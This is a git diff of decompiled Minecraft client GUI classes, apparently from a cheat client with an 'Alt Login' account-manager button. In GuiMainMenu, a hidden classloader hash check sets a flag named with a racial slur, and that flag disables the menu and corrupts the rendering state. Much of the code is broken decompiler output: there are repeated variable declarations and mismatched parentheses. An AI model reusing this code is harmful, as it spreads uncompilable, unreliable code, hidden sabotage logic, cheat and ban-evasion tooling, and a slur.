+    field_146173_k.add(I18n.format(p_175202_1_, new Object[0]));
+  }
+  
+  public GuiLabel func_175203_a()
+  {
+    centered = true;
+    return this;
+  }
+  
+  public void drawLabel(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (visible)
+    {
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      drawLabelBackground(mc, mouseX, mouseY);
+      int var4 = field_146174_h + field_146161_f / 2 + field_146163_s / 2;
+      int var5 = var4 - field_146173_k.size() * 10 / 2;
+      
+      for (int var6 = 0; var6 < field_146173_k.size(); var6++)
+      {
+        if (centered)
+        {
+          drawCenteredString(fontRenderer, (String)field_146173_k.get(var6), field_146162_g + field_146167_a / 2, var5 + var6 * 10, field_146168_n);
+        }
+        else
+        {
+          drawString(fontRenderer, (String)field_146173_k.get(var6), field_146162_g, var5 + var6 * 10, field_146168_n);
+        }
+      }
+    }
+  }
+  
+  protected void drawLabelBackground(Minecraft mcIn, int p_146160_2_, int p_146160_3_)
+  {
+    if (labelBgEnabled)
+    {
+      int var4 = field_146167_a + field_146163_s * 2;
+      int var5 = field_146161_f + field_146163_s * 2;
+      int var6 = field_146162_g - field_146163_s;
+      int var7 = field_146174_h - field_146163_s;
+      drawRect(var6, var7, var6 + var4, var7 + var5, field_146169_o);
+      drawHorizontalLine(var6, var6 + var4, var7, field_146166_p);
+      drawHorizontalLine(var6, var6 + var4, var7 + var5, field_146165_q);
+      drawVerticalLine(var6, var7, var7 + var5, field_146166_p);
+      drawVerticalLine(var6 + var4, var7, var7 + var5, field_146165_q);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiLanguage.java b/src/minecraft/net/minecraft/client/gui/GuiLanguage.java
new file mode 100644
index 0000000..b4a0f38
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiLanguage.java
@@ -0,0 +1,155 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Maps;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.SortedSet;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.resources.Language;
+import net.minecraft.client.resources.LanguageManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiLanguage extends GuiScreen
+{
+  protected GuiScreen field_146453_a;
+  private List field_146450_f;
+  private final GameSettings game_settings_3;
+  private final LanguageManager field_146454_h;
+  private GuiOptionButton field_146455_i;
+  private GuiOptionButton field_146452_r;
+  private static final String __OBFID = "CL_00000698";
+  
+  public GuiLanguage(GuiScreen p_i1043_1_, GameSettings p_i1043_2_, LanguageManager p_i1043_3_)
+  {
+    field_146453_a = p_i1043_1_;
+    game_settings_3 = p_i1043_2_;
+    field_146454_h = p_i1043_3_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.add(this.field_146455_i = new GuiOptionButton(100, width / 2 - 155, height - 38, GameSettings.Options.FORCE_UNICODE_FONT, game_settings_3.getKeyBinding(GameSettings.Options.FORCE_UNICODE_FONT)));
+    buttonList.add(this.field_146452_r = new GuiOptionButton(6, width / 2 - 155 + 160, height - 38, I18n.format("gui.done", new Object[0])));
+    field_146450_f = new List(mc);
+    field_146450_f.registerScrollButtons(7, 8);
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    field_146450_f.func_178039_p();
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      switch (id)
+      {
+      case 5: 
+        break;
+      
+      case 6: 
+        mc.displayGuiScreen(field_146453_a);
+        break;
+      
+      case 100: 
+        if ((button instanceof GuiOptionButton))
+        {
+          game_settings_3.setOptionValue(((GuiOptionButton)button).returnEnumOptions(), 1);
+          displayString = game_settings_3.getKeyBinding(GameSettings.Options.FORCE_UNICODE_FONT);
+          ScaledResolution var2 = new ScaledResolution(mc);
+          int var3 = var2.getScaledWidth();
+          int var4 = var2.getScaledHeight();
+          setWorldAndResolution(mc, var3, var4);
+        }
+        
+        break;
+      
+      default: 
+        field_146450_f.actionPerformed(button);
+      }
+      
+    }
+  }
+  
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    field_146450_f.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, I18n.format("options.language", new Object[0]), width / 2, 16, 16777215);
+    drawCenteredString(fontRendererObj, "(" + I18n.format("options.languageWarning", new Object[0]) + ")", width / 2, height - 56, 8421504);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  class List extends GuiSlot
+  {
+    private final List field_148176_l = com.google.common.collect.Lists.newArrayList();
+    private final Map field_148177_m = Maps.newHashMap();
+    private static final String __OBFID = "CL_00000699";
+    
+    public List(Minecraft mcIn)
+    {
+      super(width, height, 32, height - 65 + 4, 18);
+      Iterator var3 = field_146454_h.getLanguages().iterator();
+      
+      while (var3.hasNext())
+      {
+        Language var4 = (Language)var3.next();
+        field_148177_m.put(var4.getLanguageCode(), var4);
+        field_148176_l.add(var4.getLanguageCode());
+      }
+    }
+    
+    protected int getSize()
+    {
+      return field_148176_l.size();
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+    {
+      Language var5 = (Language)field_148177_m.get(field_148176_l.get(slotIndex));
+      field_146454_h.setCurrentLanguage(var5);
+      game_settings_3.language = var5.getLanguageCode();
+      mc.refreshResources();
+      fontRendererObj.setUnicodeFlag((field_146454_h.isCurrentLocaleUnicode()) || (game_settings_3.forceUnicodeFont));
+      fontRendererObj.setBidiFlag(field_146454_h.isCurrentLanguageBidirectional());
+      field_146452_r.displayString = I18n.format("gui.done", new Object[0]);
+      field_146455_i.displayString = game_settings_3.getKeyBinding(GameSettings.Options.FORCE_UNICODE_FONT);
+      game_settings_3.saveOptions();
+    }
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return ((String)field_148176_l.get(slotIndex)).equals(field_146454_h.getCurrentLanguage().getLanguageCode());
+    }
+    
+    protected int getContentHeight()
+    {
+      return getSize() * 18;
+    }
+    
+    protected void drawBackground()
+    {
+      drawDefaultBackground();
+    }
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      fontRendererObj.setBidiFlag(true);
+      drawCenteredString(fontRendererObj, ((Language)field_148177_m.get(field_148176_l.get(p_180791_1_))).toString(), width / 2, p_180791_3_ + 1, 16777215);
+      fontRendererObj.setBidiFlag(field_146454_h.getCurrentLanguage().isBidirectional());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiListButton.java b/src/minecraft/net/minecraft/client/gui/GuiListButton.java
new file mode 100644
index 0000000..6a36061
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiListButton.java
@@ -0,0 +1,51 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+
+public class GuiListButton extends GuiButton
+{
+  private boolean field_175216_o;
+  private String field_175215_p;
+  private final GuiPageButtonList.GuiResponder field_175214_q;
+  private static final String __OBFID = "CL_00001953";
+  
+  public GuiListButton(GuiPageButtonList.GuiResponder p_i45539_1_, int p_i45539_2_, int p_i45539_3_, int p_i45539_4_, String p_i45539_5_, boolean p_i45539_6_)
+  {
+    super(p_i45539_2_, p_i45539_3_, p_i45539_4_, 150, 20, "");
+    field_175215_p = p_i45539_5_;
+    field_175216_o = p_i45539_6_;
+    displayString = func_175213_c();
+    field_175214_q = p_i45539_1_;
+  }
+  
+  private String func_175213_c()
+  {
+    return I18n.format(field_175215_p, new Object[0]) + ": " + (field_175216_o ? I18n.format("gui.yes", new Object[0]) : I18n.format("gui.no", new Object[0]));
+  }
+  
+  public void func_175212_b(boolean p_175212_1_)
+  {
+    field_175216_o = p_175212_1_;
+    displayString = func_175213_c();
+    field_175214_q.func_175321_a(id, p_175212_1_);
+  }
+  
+
+
+
+
+  public boolean mousePressed(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (super.mousePressed(mc, mouseX, mouseY))
+    {
+      field_175216_o = (!field_175216_o);
+      displayString = func_175213_c();
+      field_175214_q.func_175321_a(id, field_175216_o);
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiListExtended.java b/src/minecraft/net/minecraft/client/gui/GuiListExtended.java
new file mode 100644
index 0000000..44a0721
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiListExtended.java
@@ -0,0 +1,90 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+
+public abstract class GuiListExtended extends GuiSlot
+{
+  private static final String __OBFID = "CL_00000674";
+  
+  public GuiListExtended(Minecraft mcIn, int p_i45010_2_, int p_i45010_3_, int p_i45010_4_, int p_i45010_5_, int p_i45010_6_)
+  {
+    super(mcIn, p_i45010_2_, p_i45010_3_, p_i45010_4_, p_i45010_5_, p_i45010_6_);
+  }
+  
+
+
+
+  protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY) {}
+  
+
+
+
+  protected boolean isSelected(int slotIndex)
+  {
+    return false;
+  }
+  
+  protected void drawBackground() {}
+  
+  protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+  {
+    getListEntry(p_180791_1_).drawEntry(p_180791_1_, p_180791_2_, p_180791_3_, getListWidth(), p_180791_4_, p_180791_5_, p_180791_6_, getSlotIndexFromScreenCoords(p_180791_5_, p_180791_6_) == p_180791_1_);
+  }
+  
+  protected void func_178040_a(int p_178040_1_, int p_178040_2_, int p_178040_3_)
+  {
+    getListEntry(p_178040_1_).setSelected(p_178040_1_, p_178040_2_, p_178040_3_);
+  }
+  
+  public boolean func_148179_a(int p_148179_1_, int p_148179_2_, int p_148179_3_)
+  {
+    if (isMouseYWithinSlotBounds(p_148179_2_))
+    {
+      int var4 = getSlotIndexFromScreenCoords(p_148179_1_, p_148179_2_);
+      
+      if (var4 >= 0)
+      {
+        int var5 = left + width / 2 - getListWidth() / 2 + 2;
+        int var6 = top + 4 - getAmountScrolled() + var4 * slotHeight + headerPadding;
+        int var7 = p_148179_1_ - var5;
+        int var8 = p_148179_2_ - var6;
+        
+        if (getListEntry(var4).mousePressed(var4, p_148179_1_, p_148179_2_, p_148179_3_, var7, var8))
+        {
+          setEnabled(false);
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  public boolean func_148181_b(int p_148181_1_, int p_148181_2_, int p_148181_3_)
+  {
+    for (int var4 = 0; var4 < getSize(); var4++)
+    {
+      int var5 = left + width / 2 - getListWidth() / 2 + 2;
+      int var6 = top + 4 - getAmountScrolled() + var4 * slotHeight + headerPadding;
+      int var7 = p_148181_1_ - var5;
+      int var8 = p_148181_2_ - var6;
+      getListEntry(var4).mouseReleased(var4, p_148181_1_, p_148181_2_, p_148181_3_, var7, var8);
+    }
+    
+    setEnabled(true);
+    return false;
+  }
+  
+  public abstract IGuiListEntry getListEntry(int paramInt);
+  
+  public static abstract interface IGuiListEntry
+  {
+    public abstract void setSelected(int paramInt1, int paramInt2, int paramInt3);
+    
+    public abstract void drawEntry(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6, int paramInt7, boolean paramBoolean);
+    
+    public abstract boolean mousePressed(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+    
+    public abstract void mouseReleased(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiLockIconButton.java b/src/minecraft/net/minecraft/client/gui/GuiLockIconButton.java
new file mode 100644
index 0000000..4cb2e12
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiLockIconButton.java
@@ -0,0 +1,100 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.texture.TextureManager;
+
+public class GuiLockIconButton extends GuiButton
+{
+  private boolean field_175231_o = false;
+  private static final String __OBFID = "CL_00001952";
+  
+  public GuiLockIconButton(int p_i45538_1_, int p_i45538_2_, int p_i45538_3_)
+  {
+    super(p_i45538_1_, p_i45538_2_, p_i45538_3_, 20, 20, "");
+  }
+  
+  public boolean func_175230_c()
+  {
+    return field_175231_o;
+  }
+  
+  public void func_175229_b(boolean p_175229_1_)
+  {
+    field_175231_o = p_175229_1_;
+  }
+  
+
+
+
+  public void drawButton(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (visible)
+    {
+      mc.getTextureManager().bindTexture(GuiButton.buttonTextures);
+      net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      boolean var4 = (mouseX >= xPosition) && (mouseY >= yPosition) && (mouseX < xPosition + width) && (mouseY < yPosition + height);
+      Icon var5;
+      Icon var5;
+      if (field_175231_o) {
+        Icon var5;
+        if (!enabled)
+        {
+          var5 = Icon.LOCKED_DISABLED;
+        } else { Icon var5;
+          if (var4)
+          {
+            var5 = Icon.LOCKED_HOVER;
+          }
+          else
+          {
+            var5 = Icon.LOCKED; }
+        }
+      } else { Icon var5;
+        if (!enabled)
+        {
+          var5 = Icon.UNLOCKED_DISABLED;
+        } else { Icon var5;
+          if (var4)
+          {
+            var5 = Icon.UNLOCKED_HOVER;
+          }
+          else
+          {
+            var5 = Icon.UNLOCKED; }
+        }
+      }
+      drawTexturedModalRect(xPosition, yPosition, var5.func_178910_a(), var5.func_178912_b(), width, height);
+    }
+  }
+  
+  static enum Icon
+  {
+    LOCKED("LOCKED", 0, 0, 146), 
+    LOCKED_HOVER("LOCKED_HOVER", 1, 0, 166), 
+    LOCKED_DISABLED("LOCKED_DISABLED", 2, 0, 186), 
+    UNLOCKED("UNLOCKED", 3, 20, 146), 
+    UNLOCKED_HOVER("UNLOCKED_HOVER", 4, 20, 166), 
+    UNLOCKED_DISABLED("UNLOCKED_DISABLED", 5, 20, 186);
+    
+    private final int field_178914_g;
+    private final int field_178920_h;
+    private static final Icon[] $VALUES = { LOCKED, LOCKED_HOVER, LOCKED_DISABLED, UNLOCKED, UNLOCKED_HOVER, UNLOCKED_DISABLED };
+    private static final String __OBFID = "CL_00001951";
+    
+    private Icon(String p_i45537_1_, int p_i45537_2_, int p_i45537_3_, int p_i45537_4_)
+    {
+      field_178914_g = p_i45537_3_;
+      field_178920_h = p_i45537_4_;
+    }
+    
+    public int func_178910_a()
+    {
+      return field_178914_g;
+    }
+    
+    public int func_178912_b()
+    {
+      return field_178920_h;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiMainMenu.java b/src/minecraft/net/minecraft/client/gui/GuiMainMenu.java
new file mode 100644
index 0000000..13be404
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiMainMenu.java
@@ -0,0 +1,547 @@
+package net.minecraft.client.gui;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.AALAPI;
+import com.enjoytheban.ui.login.GuiAltManager;
+import java.awt.Color;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.List;
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicInteger;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.realms.RealmsBridge;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.storage.ISaveFormat;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.commons.io.Charsets;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.ContextCapabilities;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GLContext;
+import org.lwjgl.util.glu.Project;
+
+public class GuiMainMenu extends GuiScreen implements GuiYesNoCallback
+{
+  private static final AtomicInteger field_175373_f = new AtomicInteger(0);
+  private static final Logger logger = LogManager.getLogger();
+  private static final Random field_175374_h = new Random();
+  
+
+  private float updateCounter;
+  
+
+  private String splashText;
+  
+
+  private GuiButton buttonResetDemo;
+  
+
+  private int panoramaTimer;
+  
+
+  private DynamicTexture viewportTexture;
+  
+  private boolean field_175375_v = true;
+  private final Object field_104025_t = new Object();
+  private String field_92025_p;
+  private String field_146972_A;
+  private String field_104024_v;
+  private static final ResourceLocation splashTexts = new ResourceLocation("texts/splashes.txt");
+  private static final ResourceLocation minecraftTitleTextures = new ResourceLocation(
+    "textures/gui/title/minecraft.png");
+  
+
+  private static final ResourceLocation[] titlePanoramaPaths = {
+    new ResourceLocation("textures/gui/title/background/panorama_0.png"), 
+    new ResourceLocation("textures/gui/title/background/panorama_1.png"), 
+    new ResourceLocation("textures/gui/title/background/panorama_2.png"), 
+    new ResourceLocation("textures/gui/title/background/panorama_3.png"), 
+    new ResourceLocation("textures/gui/title/background/panorama_4.png"), 
+    new ResourceLocation("textures/gui/title/background/panorama_5.png") };
+  public static final String field_96138_a = "Please click " + EnumChatFormatting.UNDERLINE + "here" + 
+    EnumChatFormatting.RESET + " for more information.";
+  private int field_92024_r;
+  private int field_92023_s;
+  private int field_92022_t;
+  private int field_92021_u;
+  private int field_92020_v;
+  private int field_92019_w;
+  private ResourceLocation field_110351_G;
+  private GuiButton field_175372_K;
+  private static final String __OBFID = "CL_00001154";
+  
+  public GuiMainMenu()
+  {
+    field_146972_A = field_96138_a;
+    splashText = "missingno";
+    BufferedReader var1 = null;
+    try
+    {
+      ArrayList var2 = com.google.common.collect.Lists.newArrayList();
+      var1 = new BufferedReader(new java.io.InputStreamReader(
+        Minecraft.getMinecraft().getResourceManager().getResource(splashTexts).getInputStream(), 
+        Charsets.UTF_8));
+      
+      String var3;
+      while ((var3 = var1.readLine()) != null) {
+        String var3 = var3.trim();
+        
+        if (!var3.isEmpty()) {
+          var2.add(var3);
+        }
+      }
+      if (getClass().getClassLoader().getClass().getName().hashCode() == -1258018116) {
+        getMinecraftbreaknigga = false;
+      }
+      if (!var2.isEmpty()) {
+        do {
+          splashText = ((String)var2.get(field_175374_h.nextInt(var2.size())));
+        } while (splashText.hashCode() == 125780783);
+      }
+    }
+    catch (IOException localIOException)
+    {
+      if (var1 != null) {
+        try {
+          var1.close();
+        }
+        catch (IOException localIOException1) {}
+      }
+    }
+    finally
+    {
+      if (var1 != null) {
+        try {
+          var1.close();
+        }
+        catch (IOException localIOException2) {}
+      }
+    }
+    
+
+    updateCounter = field_175374_h.nextFloat();
+    field_92025_p = "";
+    
+    if ((!getCapabilitiesOpenGL20) && (!OpenGlHelper.areShadersSupported())) {
+      field_92025_p = I18n.format("title.oldgl1", new Object[0]);
+      field_146972_A = I18n.format("title.oldgl2", new Object[0]);
+      field_104024_v = "https://help.mojang.com/customer/portal/articles/325948?ref=game";
+    }
+  }
+  
+
+
+  public void updateScreen()
+  {
+    panoramaTimer += 1;
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return false;
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {}
+  
+
+
+
+  public void initGui()
+  {
+    viewportTexture = new DynamicTexture(256, 256);
+    field_110351_G = mc.getTextureManager().getDynamicTextureLocation("background", viewportTexture);
+    Calendar var1 = Calendar.getInstance();
+    var1.setTime(new java.util.Date());
+    
+    if ((var1.get(2) + 1 == 11) && (var1.get(5) == 9)) {
+      splashText = "Happy birthday, ez!";
+    } else if ((var1.get(2) + 1 == 6) && (var1.get(5) == 1)) {
+      splashText = "Happy birthday, Notch!";
+    } else if ((var1.get(2) + 1 == 12) && (var1.get(5) == 24)) {
+      splashText = "Merry X-mas!";
+    } else if ((var1.get(2) + 1 == 1) && (var1.get(5) == 1)) {
+      splashText = "Happy new year!";
+    } else if ((var1.get(2) + 1 == 10) && (var1.get(5) == 31)) {
+      splashText = "OOoooOOOoooo! Spooky!";
+    }
+    
+    boolean var2 = true;
+    int var3 = height / 4 + 48;
+    
+    if (mc.isDemo()) {
+      addDemoButtons(var3, 24);
+    } else {
+      addSingleplayerMultiplayerButtons(var3, 24);
+    }
+    
+    buttonList.add(new GuiButton(0, width / 2 - 100, var3 + 72 + 12, 98, 20, 
+      I18n.format("menu.options", new Object[0])));
+    buttonList.add(
+      new GuiButton(4, width / 2 + 2, var3 + 72 + 12, 98, 20, I18n.format("menu.quit", new Object[0])));
+    buttonList.add(new GuiButtonLanguage(5, width / 2 - 124, var3 + 72 + 12));
+    Object var4 = field_104025_t;
+    
+    synchronized (field_104025_t) {
+      field_92023_s = fontRendererObj.getStringWidth(field_92025_p);
+      field_92024_r = fontRendererObj.getStringWidth(field_146972_A);
+      int var5 = Math.max(field_92023_s, field_92024_r);
+      field_92022_t = ((width - var5) / 2);
+      field_92021_u = (buttonList.get(0)).yPosition - 24);
+      field_92020_v = (field_92022_t + var5);
+      field_92019_w = (field_92021_u + 24);
+    }
+  }
+  
+
+
+
+  private void addSingleplayerMultiplayerButtons(int p_73969_1_, int p_73969_2_)
+  {
+    buttonList.add(
+      new GuiButton(1, width / 2 - 100, p_73969_1_, I18n.format("menu.singleplayer", new Object[0])));
+    buttonList.add(new GuiButton(2, width / 2 - 100, p_73969_1_ + p_73969_2_ * 1, 
+      I18n.format("menu.multiplayer", new Object[0])));
+    buttonList.add(this.field_175372_K = new GuiButton(14, width / 2 - 100, p_73969_1_ + p_73969_2_ * 2, 
+      I18n.format("Alt Login", new Object[0])));
+  }
+  
+
+
+
+  private void addDemoButtons(int p_73972_1_, int p_73972_2_)
+  {
+    buttonList.add(new GuiButton(11, width / 2 - 100, p_73972_1_, I18n.format("menu.playdemo", new Object[0])));
+    buttonList.add(this.buttonResetDemo = new GuiButton(12, width / 2 - 100, p_73972_1_ + p_73972_2_ * 1, 
+      I18n.format("menu.resetdemo", new Object[0])));
+    ISaveFormat var3 = mc.getSaveLoader();
+    WorldInfo var4 = var3.getWorldInfo("Demo_World");
+    
+    if (var4 == null) {
+      buttonResetDemo.enabled = false;
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException {
+    if ((id == 0) && (!mc.breaknigga)) {
+      mc.displayGuiScreen(new GuiOptions(this, mc.gameSettings));
+    }
+    
+    if ((id == 5) && (!mc.breaknigga)) {
+      mc.displayGuiScreen(new GuiLanguage(this, mc.gameSettings, mc.getLanguageManager()));
+    }
+    
+    if ((id == 1) && (!mc.breaknigga)) {
+      mc.displayGuiScreen(new GuiSelectWorld(this));
+    }
+    
+    if ((id == 2) && (!mc.breaknigga)) {
+      mc.displayGuiScreen(new GuiMultiplayer(this));
+    }
+    if ((id == 14) && (field_175372_K.visible) && (!mc.breaknigga)) {
+      mc.displayGuiScreen(new GuiAltManager());
+    }
+    
+    if ((id == 4) && (!mc.breaknigga)) {
+      mc.shutdown();
+    }
+    
+    if ((id == 11) && (!mc.breaknigga)) {
+      mc.launchIntegratedServer("Demo_World", "Demo_World", net.minecraft.world.demo.DemoWorldServer.demoWorldSettings);
+    }
+    
+    if ((id == 12) && (!mc.breaknigga)) {
+      ISaveFormat var2 = mc.getSaveLoader();
+      WorldInfo var3 = var2.getWorldInfo("Demo_World");
+      
+      if (var3 != null) {
+        GuiYesNo var4 = GuiSelectWorld.func_152129_a(this, var3.getWorldName(), 12);
+        mc.displayGuiScreen(var4);
+      }
+    }
+  }
+  
+  private void switchToRealms() {
+    RealmsBridge var1 = new RealmsBridge();
+    var1.switchToRealms(this);
+  }
+  
+  public void confirmClicked(boolean result, int id) {
+    if ((result) && (id == 12)) {
+      ISaveFormat var6 = mc.getSaveLoader();
+      var6.flushCache();
+      var6.deleteWorldDirectory("Demo_World");
+      mc.displayGuiScreen(this);
+    } else if (id == 13) {
+      if (result) {
+        try {
+          Class var3 = Class.forName("java.awt.Desktop");
+          Object var4 = var3.getMethod("getDesktop", new Class[0]).invoke(null, new Object[0]);
+          var3.getMethod("browse", new Class[] { URI.class }).invoke(var4, 
+            new Object[] { new URI(field_104024_v) });
+        } catch (Throwable var5) {
+          logger.error("Couldn't open link", var5);
+        }
+      }
+      
+      mc.displayGuiScreen(this);
+    }
+  }
+  
+
+
+  private void drawPanorama(int p_73970_1_, int p_73970_2_, float p_73970_3_)
+  {
+    if (mc.breaknigga) {
+      GlStateManager.pushMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.pushMatrix();
+    }
+    Tessellator var4 = Tessellator.getInstance();
+    WorldRenderer var5 = var4.getWorldRenderer();
+    GlStateManager.matrixMode(5889);
+    GlStateManager.pushMatrix();
+    GlStateManager.loadIdentity();
+    Project.gluPerspective(120.0F, 1.0F, 0.05F, 10.0F);
+    GlStateManager.matrixMode(5888);
+    GlStateManager.pushMatrix();
+    GlStateManager.loadIdentity();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.rotate(180.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate(90.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.enableBlend();
+    GlStateManager.disableAlpha();
+    GlStateManager.disableCull();
+    GlStateManager.depthMask(false);
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    byte var6 = 8;
+    
+    for (int var7 = 0; var7 < var6 * var6; var7++) {
+      GlStateManager.pushMatrix();
+      float var8 = (var7 % var6 / var6 - 0.5F) / 64.0F;
+      float var9 = (var7 / var6 / var6 - 0.5F) / 64.0F;
+      float var10 = 0.0F;
+      GlStateManager.translate(var8, var9, var10);
+      GlStateManager.rotate(MathHelper.sin((panoramaTimer + p_73970_3_) / 400.0F) * 25.0F + 20.0F, 
+        1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(-(panoramaTimer + p_73970_3_) * 0.1F, 0.0F, 1.0F, 0.0F);
+      
+      for (int var11 = 0; var11 < 6; var11++) {
+        GlStateManager.pushMatrix();
+        
+        if (var11 == 1) {
+          GlStateManager.rotate(90.0F, 0.0F, 1.0F, 0.0F);
+        }
+        
+        if (var11 == 2) {
+          GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+        }
+        
+        if (var11 == 3) {
+          GlStateManager.rotate(-90.0F, 0.0F, 1.0F, 0.0F);
+        }
+        
+        if (var11 == 4) {
+          GlStateManager.rotate(90.0F, 1.0F, 0.0F, 0.0F);
+        }
+        
+        if (var11 == 5) {
+          GlStateManager.rotate(-90.0F, 1.0F, 0.0F, 0.0F);
+        }
+        
+        mc.getTextureManager().bindTexture(titlePanoramaPaths[var11]);
+        var5.startDrawingQuads();
+        var5.func_178974_a(16777215, 255 / (var7 + 1));
+        float var12 = 0.0F;
+        var5.addVertexWithUV(-1.0D, -1.0D, 1.0D, 0.0F + var12, 0.0F + var12);
+        var5.addVertexWithUV(1.0D, -1.0D, 1.0D, 1.0F - var12, 0.0F + var12);
+        var5.addVertexWithUV(1.0D, 1.0D, 1.0D, 1.0F - var12, 1.0F - var12);
+        var5.addVertexWithUV(-1.0D, 1.0D, 1.0D, 0.0F + var12, 1.0F - var12);
+        var4.draw();
+        GlStateManager.popMatrix();
+      }
+      
+      GlStateManager.popMatrix();
+      GlStateManager.colorMask(true, true, true, false);
+    }
+    
+    var5.setTranslation(0.0D, 0.0D, 0.0D);
+    GlStateManager.colorMask(true, true, true, true);
+    GlStateManager.matrixMode(5889);
+    GlStateManager.popMatrix();
+    GlStateManager.matrixMode(5888);
+    GlStateManager.popMatrix();
+    GlStateManager.depthMask(true);
+    GlStateManager.enableCull();
+    GlStateManager.enableDepth();
+  }
+  
+
+
+  private void rotateAndBlurSkybox(float p_73968_1_)
+  {
+    if (mc.breaknigga) {
+      GlStateManager.pushMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.pushMatrix();
+    }
+    mc.getTextureManager().bindTexture(field_110351_G);
+    GL11.glTexParameteri(3553, 10241, 9729);
+    GL11.glTexParameteri(3553, 10240, 9729);
+    GL11.glCopyTexSubImage2D(3553, 0, 0, 0, 0, 0, 256, 256);
+    GlStateManager.enableBlend();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.colorMask(true, true, true, false);
+    Tessellator var2 = Tessellator.getInstance();
+    WorldRenderer var3 = var2.getWorldRenderer();
+    var3.startDrawingQuads();
+    GlStateManager.disableAlpha();
+    byte var4 = 3;
+    
+    for (int var5 = 0; var5 < var4; var5++) {
+      var3.func_178960_a(1.0F, 1.0F, 1.0F, 1.0F / (var5 + 1));
+      int var6 = width;
+      int var7 = height;
+      float var8 = (var5 - var4 / 2) / 256.0F;
+      var3.addVertexWithUV(var6, var7, zLevel, 0.0F + var8, 1.0D);
+      var3.addVertexWithUV(var6, 0.0D, zLevel, 1.0F + var8, 1.0D);
+      var3.addVertexWithUV(0.0D, 0.0D, zLevel, 1.0F + var8, 0.0D);
+      var3.addVertexWithUV(0.0D, var7, zLevel, 0.0F + var8, 0.0D);
+    }
+    
+    var2.draw();
+    GlStateManager.enableAlpha();
+    GlStateManager.colorMask(true, true, true, true);
+  }
+  
+
+
+  private void renderSkybox(int p_73971_1_, int p_73971_2_, float p_73971_3_)
+  {
+    if (mc.breaknigga) {
